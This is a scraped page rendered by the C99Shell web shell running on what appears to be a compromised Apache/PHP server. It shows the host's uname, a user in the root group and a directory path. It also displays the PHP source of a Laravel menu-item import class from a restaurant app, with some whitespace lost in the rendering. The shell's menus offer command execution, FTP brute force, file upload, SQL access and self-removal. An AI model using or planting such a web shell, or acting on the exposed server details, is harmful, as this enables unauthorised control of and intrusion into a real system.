!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/wataxi.picotech.app/public_html/app/Imports/   drwxr-xr-x
Free 26.44 GB of 117.98 GB (22.41%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ItemsImport.php (2.47 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Imports;

use 
App\Categories;
use 
App\Items;
use 
App\Restorant;
use 
Illuminate\Support\Facades\DB;
use 
Maatwebsite\Excel\Concerns\ToModel;
use 
Maatwebsite\Excel\Concerns\WithHeadingRow;

class 
ItemsImport implements ToModelWithHeadingRow
{
    public function 
__construct(Restorant $restorant)
    {
        
$this->restorant $restorant;
        
$this->lastCategoryName="";
        
$this->lastCategoryID=0;
    }

    
/**
     * @param array $row
     *
     * @return \Illuminate\Database\Eloquent\Model|null
     */
    
public function model(array $row)
    {
        
$category Categories::where(['name' => $row['category'], 'restorant_id' => $this->restorant->id])->first();
        
$CATID=null;
        if(
$category != null){
            
$CATID$category->id;
        }else{
            
//Check last inssert category
            
if($this->lastCategoryName==$row['category']){
                
$CATID=$this->lastCategoryID;
            }
        }
        if (
$CATID != null) {
            
            
$item Items::where(['name' => $row['name'], 'category_id' => $CATID])->first();
        
            if(
$item == null){       
                return new 
Items([
                    
'name' => $row['name'],
                    
'description' => $row['description']?$row['description']:"",
                    
'price' => $row['price'],
                    
'category_id' => $CATID,
                    
'image' => $row['image'] ? $row['image'] : "",
                ]); 
            }else{
                
//Update
                
$item->price=$row['price'];
                
$item->image =$row['image'] ? $row['image'] : "";
                
$item->category_id =$CATID;
                
$item->description =$row['description']?$row['description']:"";
            }
        } else {
            
$newCat=new Categories([
                
'name'=>$row['category'],
                
'restorant_id'=>$this->restorant->id,
                
'created_at' => now(),
                
'updated_at' => now(),
            ]);
            
$newCat->save();
            
$categoryID=$newCat->id;
            
$this->lastCategoryID=$categoryID;
            
$this->lastCategoryName=$row['category'];


            

            return new 
Items([
                
'name' => $row['name'],
                
'description' => $row['description'],
                
'price' => $row['price'],
                
'category_id' => $categoryID,
                
'image' => $row['image'] ? $row['image'] : "",
            ]);
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0045 ]--